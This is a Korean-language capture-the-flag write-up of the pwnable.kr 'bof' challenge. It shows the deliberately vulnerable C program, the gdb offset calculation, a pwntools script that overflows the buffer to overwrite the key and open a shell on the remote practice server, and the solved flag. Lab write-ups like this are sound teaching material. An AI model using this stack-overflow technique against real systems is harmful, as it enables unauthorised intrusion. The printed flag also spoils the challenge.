간단한 bof 문제이다.
바로 소스코드를 열어보자.
c
닫기#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
key가 0xcafebabe이면 쉘을 실행시켜준다.
입력은 overflowme 변수에 받기 때문에 key와 overflowme의 거리를 알면 bof를 할 수 있을 것이다.
gdb로 실행시켜보자.

두번째 함수 콜은 gets 함수를 호출하는 부분인데 여기에 overflowme가 인자로 들어가니까 overflowme는 ebp - 0x2c 위치에 있음을 알 수 있다.
그 아래에 ebp+0x8 위치와 0xcafebabe를 비교하니까 key는 ebp + 0x8에 위치하는 것을 알 수 있다.
bof를 위해 채워줘야 하는 문자의 수는 0x2c + 0x8 = 0x34(52)이다.
이제 페이로드를 짜 보자.
python
닫기from pwn import *
p = remote('pwnable.kr','9000')
#p = process('./bof')
payload = 'A' * 52
payload += '\xbe\xba\xfe\xca'
p.sendline(payload)
p.interactive()
이제 실행시켜보자.

성공적으로 쉘을 획득했다.
FLAG : daddy, I just pwned a buFFer :)
'Pwnable > pwnable.kr' 카테고리의 다른 글
pwnable.kr wargame collision write-up (0) | 2020.11.06 |
---|---|
pwnable.kr wargame fd write-up (0) | 2020.11.03 |